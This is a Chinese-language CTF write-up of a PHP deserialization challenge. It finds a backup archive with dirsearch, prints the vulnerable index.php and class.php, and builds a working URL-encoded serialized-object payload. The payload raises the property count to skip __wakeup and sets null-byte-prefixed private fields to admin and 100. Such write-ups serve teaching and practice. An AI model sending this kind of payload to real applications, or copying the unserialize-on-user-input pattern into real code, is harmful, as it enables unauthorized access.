打开看到一只好玩的猫,还有提示有备份
dirsearch扫描
-u 指定url
-e 指定网站语言
-w 可以加上自己的字典(加上路径)
-r 递归跑(查到一个目录后,在目录后重复跑,很慢,不建议用)
发现www.zip
在index.php中找到
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
打开class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
要求password=100,username=admin
序列化:将对象转换成字符串,包括属性名、属性值、属性类型和该对象对应的类名。
反序列化:在适当的时候把这个字符串转化成原来的对象。
绕过 __wakeup() 函数:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
//属性个数从2变成3
private:声明的字段为私有字段,只在所声明的类中可见。字段名在序列化时,类名和字段名前面都会加上0的前缀,字符串长度也包括所加前缀的长度。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
$select = $_GET['select'];
使用get方式传入selec参数
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}